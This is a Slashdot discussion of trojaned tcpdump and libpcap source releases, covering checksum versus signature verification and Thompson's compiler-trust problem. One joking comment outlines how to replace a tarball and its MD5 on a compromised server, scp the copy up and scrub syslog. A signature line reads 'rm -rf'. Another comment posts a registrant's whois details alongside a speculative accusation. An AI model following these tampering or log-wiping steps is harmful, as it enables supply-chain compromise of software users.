      In the end, it still comes down to whether or not you (can) trust the author/host.

    5. Re:Seems by phil+reed · · Score: 1

      Wasn't the published MD5 changed to match the trojaned code? I believe that's what happened in the earlier case.

      --

      ...phil
      "For a list of the ways which technology has failed to improve our quality of life, press 3."
    6. Re:Seems by Branc0 · · Score: 1, Insightful
      You are seeing bad sites :)

      Normally a md5 checksum is stored in a different server... or at least it should be,

      --

      rm -rf /home/leia

    7. Re:Seems by a_n_d_e_r_s · · Score: 2

      Actually, the MD5 hash has been used to find at least one earlier case. They didn't uppdate the MD5 and someone got suspocious when it did not match.

      --
      Just saying it like it are.
    8. Re:Seems by schlach · · Score: 2


      No, he's right. There's usually just an md5 file stored in the same directory, and it is the dumbest thing in the world. The system would work if everyone just signed their damn md5 file, and their public key was available on a different server, say the web server, emails, public key root servers, etc. etc. Why don't they do this? I dunno, next time you see a distro this way, write the admin and ask them.

    9. Re:Seems by harlows_monkeys · · Score: 2
      Normally a md5 checksum is stored in a different server... or at least it should be

      But is it normally a different server running a different operating system and a different web/ftp server, administered by different people?

      If not, then there's no reason to trust it any more than the the server with the trojan.

    10. Re:Seems by mjh · · Score: 2
      Thanks to Antioffline.com for hosting us, and Gentoo's Portage system for catching the trojaned files via checksums.

      This was caught by the gentoo portage system. The gentoo portage system distributes a number of "ebuilds". Each one of those contains (amongst many other pieces of info) the MD5 for the downloaded source file.

      To get this exploit past gentoo, you would have had to compromise the tcpdump.org site AND compromise the gentoo mirror which held the ebuild.

      I'm a debian user who has tinkered with gentoo. This is a very impressive win for gentoo. Way to go, gentoo.

      --
      Key to financial independence: Spend less than you earn. Save and invest the difference. Do it for a long time.
    11. Re:Seems by Anonymous Coward · · Score: 0

      A simple solution would be to gpg sign the package and/or the md5 file. A number of distros gpg sign their RPM packages, there's no reason this shouldn't be done across the board.

      In my opinion the md5 is only useful to verify a downloaded file matches the file on the server (ie it wasn't corrupted). If you want real verification something like gpg needs to be used.

    12. Re:Seems by frozenray · · Score: 1

      Google for md5sum and weep at the results (I don't mean the manpage 8-). For example, here is a supposedly secure Linux distribution, and here is their SRPMs directory with the MD5SUM file in it. [I don't mean to diss Trustix, they're just one out of thousands of examples for this practice.]

      --
      "There are already a million monkeys on a million typewriters, and Usenet is NOTHING like Shakespeare." - Blair Houghton
    13. Re:Seems by bockman · · Score: 1
      To proper verify a signed source package, you need a secure way to obtain the developer public key. E.g. either from him, or fronm someone you trust that got it from him, or from someone that got it from someone trustable that got it from him ... (of course, the longer the chain is, the weaker it becomes).

      In the worse case, you get the key from the Net, then get it from another (not mirror) place, and compare. Do it again with a third place. Now you got some security: not much, but some.

      Not that I do any of this. But I have nothing to loose if they get at my home PC.

      --
      Ciao

      ----

      FB

    14. Re:Seems by bout_time · · Score: 1

      Perhaps the parent needs to be modded up...

      Authentication (IIRC) is the term used when describing the need to assure the source of any given package (e.g. via PGP signature, etc.).

      This means that the MD5 sum is signed by an entity verifiable by a certificate of authentication that is difficult or near-impossible to spoof (e.g. asymmetrical public/private keypair, etc.).

      So, in the event that an intruder manipulates code/binaries/checksums, it is unlikely they will will be able to manipulate the certificate of authentication.

      It is important to note that if the *only* place you store the cert (i.e. PGP key, etc.) is in a file in the same directory, or on a web page on a local server, you're asking to have that spoofed as well. This is why (I think) you're supposed to advertise your public key as much as possible (to a reasonable extent, I'm sure) -- to provide verifiability.

    15. Re:Seems by Anonymous Coward · · Score: 0

      Yeah, but wouldn't the location of this other server be in a text file with the tarball? And wouldn't it be trivial to point the user to another web server with a fake certificate that was used to sign the fake MD5?

      Unless you are proposing that we have _one_ web site that everyone puts their public keys on?

  7. well... by Anonymous Coward · · Score: 0

    not really a good show for open source...

    I mean, I love open source code, but does it seem that it is more suscepticable to trojans being planted? I mean, any tom dick and harry can release code, and it may not be checked for things like this.

    How about setting up an independent body of volunteers, who go through commonly used programs, and check for this sort of thing. Than they can issue some kind of certification or "stamp of approval" on that particular release. That way, a user can atleast tell that some basic source code scrutiny was done...

    Any comments welcome...

    1. Re:well... by EzInKy · · Score: 1

      Doesn't the HLUG, who were in fact scrutinizing the code when they discovered the trojan qualify as an independent body of volunteers in your book?

      --
      Time is what keeps everything from happening all at once.
  8. Hmmm by Anonymous Coward · · Score: 0

    So if you're like me, and you don't actually use the source code (just precompiled versions) then you've got no problem, right?

    1. Re:Hmmm by Anonymous Coward · · Score: 0
      Stop! YOUR COMPUTER is BROADCASTING an IP address

      if this were flashing i might actually believe it. but it isnt flashing, so cant be true.

  9. mirrors for a just in case by Anonymous Coward · · Score: 1, Informative

    mirror 1 in italy mirror 2 in poland
    blah blah blah... just don't feel like fscker dying all by itself. yadda yadda yadda, beowulf cluster hootie hoo, slashdot should cache unfta unf, I need head

  10. This Trojan thing... by Big+Mark · · Score: 2, Interesting

    It's not unusual at all in the Unix world. Pete's sake, K. Ritchie (he who invented Unix and C, or at least part of the team) put trojans into early versions of cc and login so that he could get accsess to _any_ unix system.

    It worked with the trojaned compiler making bent versions of the login program. You couldn't detect it as if you compiled another version of cc or login from clean source the bent cc would infect that one and the cycle of infection continued. Very cleverly done.

    Actually, for all you know maybe every version of gcc ever allows RMS and Torvalds into your box...

    1. Re:This Trojan thing... by JamesO · · Score: 5, Informative

      Its Denis Ritchie

      And he only might have done it (can you tell?)

      See http://www.acm.org/classics/sep95/ for more details

    2. Re:This Trojan thing... by Anonymous Coward · · Score: 0

      I've never read anything indicating that he actually did this. However, I've read a talk he gave where he described just such a problem.

    3. Re:This Trojan thing... by Anonymous Coward · · Score: 0

      Actually, it's D. Ritchie. I'm assuming the K. you mention is in reference to Brian Kernighan (sp?). He and Dennis Ritchie were the two who wrote the famed C reference book, and generally the Unix team is considered to be the two of them and Ken Thompson for the most part.

    4. Re:This Trojan thing... by Anonymous Coward · · Score: 0

      "Actually, for all you know maybe every version of gcc ever allows RMS and Torvalds into your box..."

      Gnu/Trojanedbox :)

    5. Re:This Trojan thing... by F2F · · Score: 5, Informative

      It's Ken Thompson. How do I know? His name is right beneath the title of the article you linked.

    6. Re:This Trojan thing... by lynx_user_abroad · · Score: 1
      Actually, for all you know maybe every version of gcc ever allows RMS and Torvalds into your box...

      There was one flaw in this 'undetectable backdoor'; it was dependent on everyone using a trojaned compiler. This was a fairly safe assumption back when only a handful of people had ever written one, but it no longer holds true today (and largly because of the open source phenemon) where everybody and his brother writes a compiler in some third year programming class.

      Of course, it doesn't have to stop there; a clever (and well-funded) adversary could trojan the microprocessor hardware (in the BIOS, for example) to accomplish the same thing, but then you begin to run into economics problems; a processor streamlines to process 'just the facts' is always gonna blow the pants off any processor which is both running the latest benchmarking program and checking to see if it should be inserting a back door into the program it's running.

      Open source makes it very difficult to predict how your users will see (or use) your software, which make it difficult to correctly 'keep up the apperance' that everything is kosher.

      Anyone who believes that closed source is more secure from trojans than open source is simply blind (or ignoring) the truth.

      --

      The thing about things we don't know is we often don't know we don't know them.

    7. Re:This Trojan thing... by Anonymous Coward · · Score: 0

      third year programming class? I'm doing that now as a first semester freshman!

    8. Re:This Trojan thing... by Anonymous Coward · · Score: 0

      I thought it was Lionel Ritchie.

    9. Re:This Trojan thing... by Anonymous Coward · · Score: 0

      Dennis Ritchie with that C language thing back
      in the late 60's (69 iirc).

      Ken Thompson with the C compiler trojan thing,
      at some acceptance speech (iirc), where he spoke
      about "reflections on trusting trust" (iirc)
      where he describes the compiler trojan.

      OK. My memory is slightly fuzzy here, but oh
      well..

      --
      Silvio

    10. Re:This Trojan thing... by querencia · · Score: 1

      You're showing a very common misconception about the point of the Thompson article. The problem is much, much deeper than your post suggests. And it's a problem that hits open source and closed source.

      Let's say that you don't trust ANYBODY, so you decide to write your own compiler. And from now on, you're only going to run code that you've personally examined and compiled in your own personal compiler.

      So, you write your own compiler. What language did you use? C? Well, you'll need to compile it then, won't you. What compiler are you going to use? Do you trust it?

      The point of the article isn't just that you can't trust code you (and the open source community) haven't personally examined. You can't trust code unless you've personally built the entire compilation and execution environment using trusted code, from the ground up.

      So think about the OS you're running right now. Is it Linux that you compiled from source? How can you trust gcc? If you do trust it, how do you trust the compiler that was used to compile gcc, etc? [See the gcc web site for info on how gcc is actually built using multi-stage bootstrapping]

      An understanding of this concept will make you see computer security in the jaded way that true security experts see it: there is no such thing. Chances are that we all got our systems up and running from some public Linux distro. If the maker of that distro wanted into your box, they'd be there.

      The question is, where did you get your software? Do you trust them? If getting your software from a bunch of hackers makes you nervous, getting it from Microsoft should, in my opinion, terrify you. At least we have forums like this (and folks like the Houston Linux team) to catch and fix the problems.

    11. Re:This Trojan thing... by lynx_user_abroad · · Score: 1
      You're showing a very common misconception about the point of the Thompson article. The problem is much, much deeper than your post suggests.

      Yes, the issues run much deeper than I've touched on here. And if I appear to have misconceptions about the article, it's probably because the article contains so much to conceive that I've surely missed something.

      For example, what if you did create your own compiler in machine language, entering each bit by hand into the EEPROM with a logic probe. (I've done this, but certaintly not for a whole compiler.) How do you know you can trust the hardware, unless you've also built that yourself? (Been there, done that, too.)

      But asking the hard questions doesn't really bring us much closer to the answers.

      One strategy for increasing the security of some aspect of a system is to increase the interdependence on other systems. One example of this is to use two ropes to lash cargo onto the roof of your car, rather than just one, such the both ropes would have to fail for the cargo to become insecure.

      In our compiler example, this would mean a solution like compiling your (self written) compiler with as many different third-party compilers as possible (with all optimizations turned off, etc) and comparing the results. Unless they have all been compromised in the exact same way, the results should be very similar.

      Another example (as I alluded to earlier) was to wedge the priority of comprimising a compiler against the priority of good benchmark results, making ties into the marketing layer. When the PHB's start asking why a compettitor's compiler is faster than their own, some engineer may become very motivated to look for trojan code.

      In both of these, the methods employed in open source projects offer an advantage over closed source development in that a trojan would have to hide in a place no one looks, and there's no way for the author of such an exploit to predict where the masses will be looking (or not looking).

      The point of the article isn't just that you can't trust code you (and the open source community) haven't personally examined. You can't trust code unless you've personally built the entire compilation and execution environment using trusted code, from the ground up.

      If you truly can't trust anyone but yourself, then this is the correct attitude to take. (But if that's the case, it makes me wonder if your trust in yourself isn't a bit misplaced? ;-)

      As an alternative, you can trust that the competing interests and motivations of the multitudes of uncooperative parties will keep everyone honest, or at least (as you've pointed out) provide for a forum for the complainers to raise a red flag. Since not everyone who uses GCC is interested in using it the same way, if someone proposes a change which will 'shave a clock cycle off the execution time at the expense of using an extra byte of stack space' there's sure to be someone else who compalins. In an environment like that, trying to insert something as major as a back door is sure to raise alarms even if no one is 'in charge' of making sure a back door isn't inserted. As long as we don't become complacent, we should be fine.

      Chances are that we all got our systems up and running from some public Linux distro.

      Guilty as charged. But then again, most of us running Linux then immediately went in and started changing things (after all, we are engineers, aren't we?) and tried to understand everything it does. Any one of us could be the one who posts the question "why is my box trying to connect to 212.146.0.34:1963 when i rebuild Libpcap?" and raises the flag on the next trojan.

      (Which is why modding posts as off-topic, or telling newbies to go away, or refusing to help someone learn is so damaging, to ourselves as a community, but that's another thread...)

      If getting your software from a bunch of hackers makes you nervous, getting it from Microsoft should, in my opinion, terrify you.

      Because all the authors of software written by a single commercial organization share at least one common motivation: they want to keep their jobs. If it comes to a choice between writing software which will exclude a remote exploit and run faster or writing software which will do what their boss demands and allow them to keep their job, too many people will opt to keep their job, and just hope that no one ever finds out.

      And with closed source, they're at least fairly safe.

      --

      The thing about things we don't know is we often don't know we don't know them.

  11. Ewww by segfault7375 · · Score: 2, Funny


    Trojan Found in libpcap and tcpdump

    I swear, some of these source trees are worse than the canals of Venice. :)

  12. MD5 checksums by Zayin · · Score: 4, Insightful

    Use them.

    --
    "I'd rather have a full bottle in front of me than a full frontal lobotomy"
    1. Re:MD5 checksums by diamondc · · Score: 5, Insightful

      if someone breaks into an ftp server, they might as well replace the md5 signatures, too. a better solution would be signing the sources with a gpg key.

      --
      "I keep looking in the want-ads under 'revolutionary' but there don't seem to be any listings.. "
    2. Re:MD5 checksums by AccUser · · Score: 2, Interesting

      That's good if you can assure that the MD5 checksum is for the original tarball. What if the guy who placed the torjan placed a new MD5 checksum as well?

      --

      Any fool can talk, but it takes a wise man to listen.

    3. Re:MD5 checksums by Anonymous Coward · · Score: 0

      Use PGP signatures.

    4. Re:MD5 checksums by AccUser · · Score: 1

      Take a look at tcpdump.org. There are no MD5 checksums for any of the tarballs. Doesn't change my last comment, though. :-)

      --

      Any fool can talk, but it takes a wise man to listen.

    5. Re:MD5 checksums by Anonymous Coward · · Score: 0

      Okay.

      # md5sum /usr/sbin/tcpdump
      0a1c85e1c9f3a4b230162f632b9af22a /usr/sbin/tcpdump
      # md5sum /lib/libcap.so.*
      c3d060dacea53e52da8a5a37820073ef /lib/libcap.so.1
      c3d060dacea53e52da8a5a37820073ef /lib/libcap.so.1.10

      Knock yourself out.

    6. Re:MD5 checksums by Anonymous Coward · · Score: 0

      " if someone breaks into an ftp server, they might as well replace the md5 signatures, too. a better solution would be signing the sources with a gpg key." ...then you discover gpg has been trojaned ;)

    7. Re:MD5 checksums by KjetilK · · Score: 3, Interesting
      ....and replace the GPG signatures with keys that just have the same name and address. If there are two keys with the same name and address, which one would you trust?

      We need to come together and paaaaaarty! :-)

      Really, that's the only solution to this problem. Probably, this is something we are going to see more frequently, so frequently perhaps that it may undermine the free software community's credibility. Therefore, we must come together and meet, and exchange signatures, so that at least we can ensure that they software is signed by its maintainer.

      Now, go and get registered at Biglumber, sign up to the keysignings list and start organizing keysigning parties. Also, make sure that you meet other hackers when you're out travelling.

      --
      Employee of Inrupt, Project Release Manager and Community Manager for Solid
    8. Re:MD5 checksums by Sloppy · · Score: 2
      A matching MD5 is equivalent to this:

      "This file is safe." -- Anonymous Coward

      Do you trust Anonymous Coward?

      --
      As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
    9. Re:MD5 checksums by ReelOddeeo · · Score: 2

      If there are two keys with the same name and address, which one would you trust?

      At least you should be suspicious.

      --

      Those who would give up liberty in exchange for security and DRM should switch to Microsoft Palladium!
    10. Re: MD5 checksums by Black+Parrot · · Score: 1


      > if someone breaks into an ftp server, they might as well replace the md5 signatures, too.

      Fetch the .sig from a different server?

      --
      Sheesh, evil *and* a jerk. -- Jade
    11. Re:MD5 checksums by Anonymous Coward · · Score: 0

      " ....and replace the GPG signatures with keys that just have the same name and address. If there are two keys with the same name and address, which one would you trust?"

      Thats not the point. If there are 2 different signatures for the same source, this is a red flag that one of them has been altered. Thus the audit begins, and thus the backdoor is found.

    12. Re:MD5 checksums by catenos · · Score: 1

      if someone breaks into an ftp server, they might as well replace the md5 signatures, too. a better solution would be signing the sources with a gpg key.

      Btw, it's enough to sign the md5sums. That gives the best of two worlds: the speed of a "simple" checksum (md5) and the security of real cryptographic signature.

      --
      Keep an eye on which arguments are silently dropped in replies. Not always, but often times it's very telling.
    13. Re:MD5 checksums by KjetilK · · Score: 2

      If there are 2 different signatures for the same source, this is a red flag that one of them has been altered. Thus the audit begins, and thus the backdoor is found.

      Or people think: "oh, the author has generated a new key" and move along without considering the alternative. This isn't really strong enough.

      --
      Employee of Inrupt, Project Release Manager and Community Manager for Solid
  13. mars.raketti.net by solostring · · Score: 3, Interesting

    The program connects to 212.146.0.34 (mars.raketti.net) on port 1963

    With that information, I suppose that it is easy to find out which Finnish 'author' included the trojan, and would be simple to track him down. But my question is how something like this could have been included in an open source code and released to the general public?

    1. Re:mars.raketti.net by Draoi · · Score: 2

      Chances are, it's some other hapless admin's r00ted box .....

      --
      Alison

      "It is a miracle that curiosity survives formal education." - Albert Einstein

    2. Re:mars.raketti.net by Anonymous Coward · · Score: 1, Funny

      Easy. Same way it happens to OpenSSH, and the OpenBSD kernel (you know that current revisions of OpenBSD are trojaned all to hell, dont you?)... First you come up with the "killer exploit" this is known in our little community as "0day"... THEN, you exploit the tome of information,, be it openbsd.org, kernel.org, tcpdump.org etc.. and insert your code. You can prepare days in advance with your new version, so really, breaking the box is the only real hard part..

      1. wget http://www.foo.com/useful-app.tar.gz

      2. tar -xzf useful-app.tar.gz

      3. vi something.c

      4. tar -cf useful-app.tar.gz useful-app/

      5. md5sum useful-app.tar.gz > useful-app.md5

      6. ./hax0r-the-hell-out-of www.foo.com

      7. scp ~/useful-app.tar.gz
      www.foo.com/useful-app.tar.gz

      8. scp ~/useful-app.md5 www.foo.com/useful-app.md5

      9. vi /var/log/syslog

      10. ????

      11. pr0fit.

      or if you are openbsd, you bribe a developer for their commit access.. or you break the developers
      box..

      isn't hacking for world domination fun?

    3. Re:mars.raketti.net by Anonymous Coward · · Score: 0

      i dont think the combination

      raketti, mars and the used port 1963 are by accident!

      The sitcom "My favourite martian" aired first in 1963!!

      - christian

      http://www.sitcomsonline.com/myfavoritemartian.h tm l

  14. Re:This is dreadful by Anonymous Coward · · Score: 1, Insightful

    "It's the one problem with the open-source community - there's no-one to pay me to pay my staff for the lost man-hours caused by this. "

    Doesn't the money come from the money you`ve saved by not having to pay for any software? What did your business plan mention about this? Just a blank page, right? Try it out and see what happens? Well, it's your money!

  15. This is a growing trend by Anonymous Coward · · Score: 2, Interesting

    This never used to happen. Now it is like as if someone is intentionally trying their luck to trojan open-source projects. The crack0r types usually try to claim some kind of responsibility to increase their m0j0, but I haven't heard of anyone doing so. Usually a crack0r will try to make the trojaning *bad* to further make themselves feel better, but these trojanings are often in name only, and are of no real security threat. I am wondering if this is an anti-freesoftware publicity ploy by some individual or group.

    1. Re:This is a growing trend by Anonymous Coward · · Score: 0

      As of late, it really seems that Open Source is under attack. I have been thinking that the community should start trying to track down the person(s) who are doing that and finding out if they are operating on their own, or perhaps connected with some organization. I would not expect the USA FBI to track these ppl down.

    2. Re:This is a growing trend by morgajel · · Score: 1

      I agree. something is fishy here. how many trojans?
      let's add up a list here, eh?
      tcp wrappers
      openssh
      bitchx
      sendmail
      util-linux
      it seems this seems a little more relavent now.
      can anyone else add to this list?

      We seriously need to start looking at the way things are done. yes I am a paranoid lunatic, but we definitely have a traitor in our midst.

      When we find out who is doing this, we need to severly punish them as a community. publish their names once their found guilty. blacklist them from other opensource projects. we need to do something.
      I only hope that this is just crazed individuals and not a case of industrial espionage...not that we have big, mean, law-breaking enemies, right?

      --
      Looking for Book Reviews? Check out Literary Escapism.
    3. Re:This is a growing trend by dr.Flake · · Score: 1



      For all we know,

      maybe Microsoft (or some other big/ritch compagny with anti-OSS feelings) has a "special ops" group somewhere out there, with a sole mission:

      "Make OSS-software look more vulnerable than closed source."

      But let's not get paranoid....

      --
      Why are other peoples sig's always more witty ???
    4. Re: This is a growing trend by McNihil · · Score: 0

      It is the ONLY way they can try to stop us (OSS crowd). They (MS) have been proven to be dishonest individuals so this is not a flabbergasting reality we are facing here.

  16. Good - nowcatching up with Microsoft.. by jkrise · · Score: 0

    What good having 'pure' source code minus viruses, worms and trojans? MS showed the way with some Korean CDs infested with bugs. Can penguins be far behind?

    --
    If you keep throwing chairs, one day you'll break windows....
  17. That's not a problem, that's a feature by Anonymous Coward · · Score: 2, Insightful

    there's no-one to pay me to pay my staff for the lost man-hours caused by this.
    But then again, you had to pay no-one for the man hours you saved by using the open-source code.

    1. Re:That's not a problem, that's a feature by DecimalThree · · Score: 1

      Always use the md5!

  18. K. Ritchie, who's that then? by plugger · · Score: 1

    K. Ritchie? Are you getting confused by the K&R book? It's D. Ritchie, if memory serves.

  19. what about winpcap? by Anonymous Coward · · Score: 0

    what about winpcap?

  20. Re:This is dreadful by vadim_t · · Score: 2, Informative

    Excuse me if I sound disrespectful, but that makes me really doubt your skills. MD4? First, usually what's used is MD5, second it's just a hash and doesn't ensure the file hasn't been tampered with. All you need is to run md5sum on the patched file.

    Now, good GPG signatures would have helped.

  21. Siltakoski Petri is somehow connected with this... by twoslice · · Score: 0, Interesting

    Either that or someone has trojaned (is that a word?) his site!

    The tojan contacts the following website:

    http://mars.raketti.net/~mash/services

    DNS Details:

    Registrant:
    Kuopion Puhelin Oyj (RAKETTI2-DOM)
    KUOPIO, 70780
    KUOPIO,70780
    FI

    Domain Name: RAKETTI.NET

    Administrative Contact, Technical Contact:
    Siltakoski Petri (SP730-ORG) admin@DOMAIN.RAKETTI.NET
    Kuopion Puhelin Oyj
    Levasentie 23
    KUOPIO
    FINLAND
    +358-17-302329
    Fax- +358-17-3614904

    Record expires on 07-Oct-2004.
    Record created on 08-Oct-1998.
    Database last updated on 13-Nov-2002 08:36:01 EST.

    Domain servers in listed order:

    NS1.RAKETTI.NET 212.146.0.10
    NS2.RAKETTI.NET 212.146.0.11

    --

    From excellent karma to terible karma with a single +5 funny post...
  22. Security getting worse? by Noryungi · · Score: 2

    ... or are script kiddies getting better?

    Seriously, though, I think the ideal solution would be to do multiple checks of the RC5 signature of newest packages, over several mirrors. The advisory mentioned that tcpdump.org was compromised, while the mirror at ibiblio.org was OK.

    Or use Gentoo Linux. Of course. I can't do that, since I don't have broadband at home... =(

    --
    The right to offend is far more important than the right not to be offended. (Rowan Atkinson)
    1. Re:Security getting worse? by Branc0 · · Score: 0
      This ain't no script kiddie. This is a guy who knows too much and it's making a living out of this, or maybe it's hungry at the world because he doesn't have a job.

      This is problably the same guy who owned OpenBSD site, OpenSSL site, dsniff site and maybe other we don't know yet.

      The admins of the sites I mention should be (and i think they are) responsible and capable people. Maybe a kiddie could own one of those machines because of a stupid error (it happens to all of us) but i doubt that all the admins did the same error.

      --

      rm -rf /home/leia

    2. Re:Security getting worse? by Anonymous Coward · · Score: 0

      i agree with you more security needs to be added.

      but security isnt getting worse. its just the ratios. 1 trojan for every 20000 users of something for example. or 1 trojan for ever 100 HEAVILY user applications. more people using a piece of software. more interest in trojaning it, hacking it etc.

      so it just means that more security measures should be taken, and i think the trend will go that way.

  23. One too many? by simpleguy · · Score: 4, Insightful

    Isn't this one too many?

    There was dsniff, BitchX, OpenSSH etc. and today tcpdump and libpcap?

    Does anyone else think that someone has found a security hole in a popular unix daemon and is having some fun with it before notifying the authors. Or maybe there is a *VERY NASTY* exploit circulating privately?

    At least that's what I think.

    1. Re:One too many? by Anonymous Coward · · Score: 0

      I thought this was common knowledge of the hacking community. Often exploits are found before IT professionals cuz they're busy dealing with project deadlines. Which is why the old line about disclosure is total BS. In many cases, the vulnerabilities were known in the hacker community before it appeared in some news article.

    2. Re:One too many? by molli123 · · Score: 0

      Wasn't there a trojan in sendmail, too ?

      Micha !

    3. Re:One too many? by LostCluster · · Score: 5, Insightful

      As Linux becomes more popular, the dumber system admins who never patched their Windows systems now have Linux systems. All it takes is a small handful of people to not know there is a wide-open back door, or worse yet know but be too lazy to take the corrective action, and there's enough zombies to cause headaches.

    4. Re:One too many? by molli123 · · Score: 0

      Do you fully read the sourcecode downloaded before compiling and installing ? I dont think this is because of dumb sysadmins, but because of the masses of code written, so noone can check everything he is really installing. Micha !

    5. Re:One too many? by Iamthefallen · · Score: 1, Troll

      So if a Microsoft System gets hacked, it's Microsoft users fault? And if a Linux system gets hacked, it's still Microsoft users fault? Sooo, basically everything is Microsofts fault?

      --
      Wax-Museum Fire Results In Hundreds Of New Danny DeVito Statues
    6. Re:One too many? by Hard_Code · · Score: 2

      Aha...there's the bug, now let me just recompile the daemon against libpcap...uh, wait...

      --

      It's 10 PM. Do you know if you're un-American?
    7. Re:One too many? by ei4anb · · Score: 3, Informative
      www.netcraft.com says www.tcpdump.org uses OpenSSL/0.9.5a

      http://www.openssl.org/news/secadv_20020730.txt says that is vulnerable.

      Everyone using OpenSSL 0.9.6d or earlier, or 0.9.7-beta2 or earlier or current development snapshots of 0.9.7 to provide SSL or TLS is vulnerable, whether client or server.
    8. Re:One too many? by alexandre · · Score: 2

      There always is a private exploit circulating ... that's the problem.

    9. Re:One too many? by Mandi+Walls · · Score: 2
      Unless their OS vendor produces patches without incrementing to a new version of SSL.

      Why would they do this? 'cause the OpenSSL apis keep changing and the vendor saw that patching an older ssl version was easier than rebuilding and pushing errata for every freaking package that uses SSL.

      0.9.5a is still updated by Red Hat, for example, on 7.0 because it is required for python 1.5.2, which is required for more packages than i care to list here. (including up2date, which gets you such fancy updates from Red Hat)

      However, 0.9.5a is patchable to a safe level, it's most recent build date for 7.0 being August 1.

      Now, if they're not running vendor-provided patches on a production server, then they have a lot of faith in their sysadmin to have a lot of time to sit and compile new software everytime a patch becomes available. Which, being that netcraft also says they're running a BSD, maybe they are just that crazy. :)

      --mandi

    10. Re:One too many? by Jeppe+Salvesen · · Score: 3, Informative

      Or maybe there is a *VERY NASTY* exploit circulating privately? This is why the people who set up honeynets and dissect the scans are our heroes. They would hopefully detect unknown exploits in software, just by looking at the fingerprint of the attack and figuring out if it is already known.

      That being said, that alone is not enough. Everyone should run their updates nightly, and make sure their security don't collapse completely once one box has been taken.

      However, I would like to take the opportunity to applaud the honeynet people who actively act like sitting ducks in order to protect the rest of us.

      --

      Stop the brainwash

    11. Re:One too many? by supabeast! · · Score: 2

      Even better, does anyone think that there a a ton of poorly-defended systems out there where l33t hax0rs can replace popular programs with their own, and the only people who find out are open source geeks?

      For example, what would happen if someone hacked the Symantec Anti-Virus FTP, replaced the intelligent updater with a trojan, hacked the HTTP server and stuck up a matching md5sum, and then waited until monday for thousands of admins to download the latest version and install it? How long would it take for someone to find out?

      Even worse, would anyone ever even find out?

    12. Re:One too many? by arkanes · · Score: 2

      I don't know for sure, but I would generally assume that people who write security oriented software like OpenSSH and tcpdump would maintain updated, secured servers.

    13. Re:One too many? by Deadplant · · Score: 1

      Or maybe they got owned because they're crazy enough to run an FTP server....
      Who the heck runs FTP anymore? except for anon download only it's insanely insecure. I mean come on people, do you log into your systems using telnet aswell?

    14. Re:One too many? by Anonymous Coward · · Score: 0

      So if a Microsoft System gets hacked, it's Microsoft users fault? And if a Linux system gets hacked, it's still Microsoft users fault? Sooo, basically everything is Microsofts fault?

      YES!!! Stop asking! Fucking troll!

    15. Re:One too many? by Anonymous Coward · · Score: 0

      are you nuts? tcpdump is a sniffer for sniffing passwords, credit cards and other sensitive informations. it's a tool for script kiddies. i'm not surprised at all that it's a trojan after all. i think every script kiddie (oh, i'm sorry -- every "133t hax0r") who uses tcpdump, which is really a trojan, definitely deserves it. what next? you'll start bitching that your lock picker was made by evil thief and you couldn't open a bank safe? god, what a hypocrisy, it just sickens me!

    16. Re:One too many? by cascadefx · · Score: 2
      You do realize that you are talking about the maintainers of libpcap and tcpdump. I wouldn't think that they are slouches in the Linux department. Apache got hacked a while back as well. Theirs was because a combination of policy issues and a hacked server on the network that one of their maintainers was using to connect to the site. I bet we will find something similar in all of these problems.

      Remember kids: Your computer may be safe, but the computer you connect from may be a skeezy gutter snipe. If you have to use someone else's computer use a Linux bootable CD with ssh and stunnel. If you are on a foriegn network, pack that laptop and use those tools.

    17. Re:One too many? by frozenray · · Score: 1

      >Does anyone else think that someone has found a security hole in a popular unix daemon and is having some fun with it before notifying the authors. Or maybe there is a *VERY NASTY* exploit circulating privately?

      Even people who should know better are bound to screw up from time to time. In the words of Dug Song (whose dsniff/fragroute/fragrouter were trojaned):

      monkey.org was compromised on May 14th, via an epic4-pre2.511
      client-side hole which produced a shell to one of the local admin's
      accounts. this was later used to reattach to one of his screen
      sessions, which apparently had a root window open (su very bad!).


      Yep, su very bad indeed :-( Now if you excuse me, I have to do a quick check on my console windows.

      --
      "There are already a million monkeys on a million typewriters, and Usenet is NOTHING like Shakespeare." - Blair Houghton
    18. Re:One too many? by Anonymous Coward · · Score: 0

      Yeah, it's those stupid windoze admins who are moving to Linux that are causing all this shit. And releasing all this groovy security software we all love and use.

      Oh, wait. Don't you see a bit of a conflict there? You're blaming lazy and incompentent admins for whatever exploit is being used to take these servers and yet the software in question is typically supposed to be strong, secure, etc. I mean for fucks sake, OpenSSL... Wanker.

    19. Re:One too many? by HiThere · · Score: 2

      Everyone should run their updates nightly, and ...

      That's a bit of a dangerous piece of advice. Correcting problems is good. Periodic updates opens you to the next infection. The only people, e.g., affected by this trojan are those who updated the affected applications while it was out there. But if everyone updated every night, something like this could hit everyone at once.

      --

      I think we've pushed this "anyone can grow up to be president" thing too far.
    20. Re:One too many? by EggMan2000 · · Score: 1

      That has me thinking. If my company decides to use linux on all the mid range servers, and some package we have loaded is a trojan, who do we sue?

      Seriously, if big business can not trust Linux "police itself" community, how is it it going to grow and replace AIX, Solaris, NT, etc?

      --
      what? what I thought we were in the trust tree in the nest, were we not?
    21. Re:One too many? by EzInKy · · Score: 1

      The Linux community did "police" itself, that's how the trojan was discovered. Besides, most commercial softwares have a "not responsible for anything" clause in their EULAs.

      --
      Time is what keeps everything from happening all at once.
    22. Re:One too many? by Anonymous Coward · · Score: 0

      tcpdump != dnsiff.

      dsniff is an awesome proof of concept program to prove the inherit risks of clear text protocals.

    23. Re:One too many? by Jeppe+Salvesen · · Score: 2

      I trust Red Hat packages and Red Hat network. It is much too high profile for them to allow it to be hacked and then used to distribute trojan'ed software.

      --

      Stop the brainwash

  24. Re:This is dreadful by Anonymous Coward · · Score: 0

    "there's no-one to pay me to pay my staff for the lost man-hours caused by this."

    I'm still expecting my check from MicroSoft for my lost man hours.

    NO CARRIER

  25. If it's in the repository, how hard... by Anonymous Coward · · Score: 0

    ...could it be to search the repository for the insertion date?

  26. Re:This is dreadful by jimand · · Score: 5, Insightful

    there's no-one to pay me to pay my staff for the lost man-hours caused by this

    Did Microsoft pay you for lost man-hours when your staff battled Nimda or Code Red? Didn't think so.

  27. cleaning? by mr.+marbles · · Score: 3

    so seeing as how there's no trojan cleaning program in linux, how does a person infected with the trojan rid his system of it? is it as simple as installing the non-trojan version?

    1. Re:cleaning? by Megane · · Score: 2
      From looking at the diffs, the trojans seem to be in the build scripts, not the binaries. The modification to the source code was simply to provide an obfuscated way to pass the port number back to the trojaned build scripts.

      I guess that's the clever part... you only activate the trojan if you recompile from source!

      --
      #naabhaprzrag, #sverubfr-000, #agi-fcbafberq, negvpyr[pynff*=' negvpyr-ary-'] { qvfcynl: abar !vzcbegnag; }
